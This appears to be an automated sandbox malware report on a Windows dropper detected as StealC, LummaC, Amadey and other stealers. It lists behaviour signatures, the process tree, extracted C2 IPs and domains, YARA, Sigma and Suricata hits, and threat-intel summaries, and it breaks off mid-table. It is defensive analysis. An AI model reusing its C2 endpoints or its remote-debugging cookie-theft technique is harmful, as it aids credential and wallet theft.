Edit tour

Windows Analysis Report
random.exe.7.exe

Overview

General Information

Sample name:	random.exe.7.exe
Analysis ID:	1577542
MD5:	a91e703f6e05180d79cb0693d4de870d
SHA1:	5681a283819fb7421d20e3ebee9accbf4c0b6429
SHA256:	baa95564008d8836029dc0f95dbf5fd86659c5b825f9f68d5f395b4aa56cece2
Tags:	18521511316185215113209bulletproofexeStealcuser-abus3reports
Infos:

Detection

LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected RHADAMANTHYS Stealer

Yara detected Stealc

Yara detected Vidar stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Uncommon Svchost Parent Process

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

random.exe.7.exe (PID: 6800 cmdline: "C:\Users\user\Desktop\random.exe.7.exe" MD5: A91E703F6E05180D79CB0693D4DE870D)

chrome.exe (PID: 6648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7200 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2836 --field-trial-handle=2792,i,8238096719561330086,77332189413184647,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 5456 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7944 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2240,i,9592498123646239590,711369988122974242,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7188 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\BKKFCFBKFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BKKFCFBKFC.exe (PID: 7264 cmdline: "C:\Users\user\Documents\BKKFCFBKFC.exe" MD5: 3A61C20A67DE482B185AB4698AA6B4E1)

skotes.exe (PID: 3780 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3A61C20A67DE482B185AB4698AA6B4E1)

msedge.exe (PID: 7216 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7292 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2076,i,11423175788337497265,15445402632452317473,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 7820 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3A61C20A67DE482B185AB4698AA6B4E1)

skotes.exe (PID: 7364 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3A61C20A67DE482B185AB4698AA6B4E1)

Cq6Id6x.exe (PID: 7392 cmdline: "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

Cq6Id6x.exe (PID: 6592 cmdline: "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

Cq6Id6x.exe (PID: 4276 cmdline: "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

0ee5eba208.exe (PID: 5412 cmdline: "C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe" MD5: 2D17CA2A92D934F28AEC4E2B217FEBEE)

svchost.exe (PID: 5608 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 6208 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 660 MD5: C31336C1EFC2CCB44B4326EA793040F2)

183776ee1b.exe (PID: 5956 cmdline: "C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

conhost.exe (PID: 5236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

183776ee1b.exe (PID: 3596 cmdline: "C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["sustainskelet.lat", "crosshuaht.lat", "grannyejh.lat", "aspecteirs.lat", "discokeyus.lat", "energyaffai.lat", "lossekniyyt.click", "necklacebudi.lat", "rapeflowwj.lat"], "Build id": "9Z1cyc--"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2686782883.0000000000E51000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2759867420.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2677929043.0000000004650000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2072783452.00000000048A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2719104644.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2685829562.000000000044E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.3184439124.0000000003160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000000.00000002.2686782883.0000000000F24000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.3322148695.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2718696114.0000000000021000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.3188101830.0000000005330000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000015.00000003.3178108749.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000016.00000003.3187895293.0000000005110000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.2751059982.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.3197552170.0000000003170000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000F.00000003.2710537857.00000000051B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.2925063358.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.3180591378.0000000005C10000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000015.00000003.3180345649.00000000059F0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000015.00000003.3185126832.00000000054F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
Process Memory Space: random.exe.7.exe PID: 6800	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: random.exe.7.exe PID: 6800	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: random.exe.7.exe PID: 6800	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: random.exe.7.exe PID: 6800	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 0ee5eba208.exe PID: 5412	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost.exe PID: 5608	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
22.3.svchost.exe.5110000.6.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
17.2.skotes.exe.d00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
18.0.Cq6Id6x.exe.1c0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
18.0.Cq6Id6x.exe.1c0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
21.3.0ee5eba208.exe.5c10000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
22.3.svchost.exe.5110000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.2.BKKFCFBKFC.exe.20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.3.0ee5eba208.exe.59f0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
21.3.0ee5eba208.exe.5c10000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
18.2.Cq6Id6x.exe.36c94e0.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
22.3.svchost.exe.5330000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
18.2.Cq6Id6x.exe.36c94e0.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
18.2.Cq6Id6x.exe.36c94e0.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.skotes.exe.d00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.skotes.exe.d00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.3.svchost.exe.5110000.2.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
22.3.svchost.exe.5110000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
18.2.Cq6Id6x.exe.3683198.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
18.2.Cq6Id6x.exe.3683198.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
18.2.Cq6Id6x.exe.3683198.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
18.2.Cq6Id6x.exe.3683198.0.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xf10c:$s1: file:/// 0x96a23:$s1: file:/// 0xf01c:$s2: {11111-22222-10009-11112} 0xf09c:$s3: {11111-22222-50001-00000} 0x968a7:$s3: {11111-22222-50001-00000} 0x948e7:$s4: get_Module 0xe890:$s5: Reverse 0x84ebe:$s5: Reverse 0x11c92f:$s5: Reverse 0xcd07:$s6: BlockCopy 0x84ba8:$s7: ReadByte 0x96a35:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\random.exe.7.exe", ParentImage: C:\Users\user\Desktop\random.exe.7.exe, ParentProcessId: 6800, ParentProcessName: random.exe.7.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 6648, ProcessName: chrome.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe, ParentProcessId: 5412, ParentProcessName: 0ee5eba208.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 5608, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe, ParentProcessId: 5412, ParentProcessName: 0ee5eba208.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 5608, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:22:18.445123+0100	2028371	3	Unknown Traffic	192.168.2.5	49919	104.21.12.88	443	TCP
2024-12-18T15:22:20.781722+0100	2028371	3	Unknown Traffic	192.168.2.5	49922	104.21.12.88	443	TCP
2024-12-18T15:22:36.802767+0100	2028371	3	Unknown Traffic	192.168.2.5	49927	172.67.179.109	443	TCP
2024-12-18T15:22:38.969149+0100	2028371	3	Unknown Traffic	192.168.2.5	49928	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:22:19.483088+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49919	104.21.12.88	443	TCP
2024-12-18T15:22:37.746082+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49927	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:22:19.483088+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49919	104.21.12.88	443	TCP
2024-12-18T15:22:37.746082+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49927	172.67.179.109	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:22:36.802767+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49927	172.67.179.109	443	TCP
2024-12-18T15:22:38.969149+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49928	172.67.179.109	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:22:19.267094+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49920	185.215.113.43	80	TCP
2024-12-18T15:22:28.008922+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49923	185.215.113.43	80	TCP
2024-12-18T15:22:34.973134+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49925	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:22:34.982399+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.5	63033	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:22:34.762320+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.5	52977	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:20:42.839062+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:20:42.498771+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:20:43.160180+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:20:44.595867+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:20:43.297096+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:20:42.057633+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:22:05.705710+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49899	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

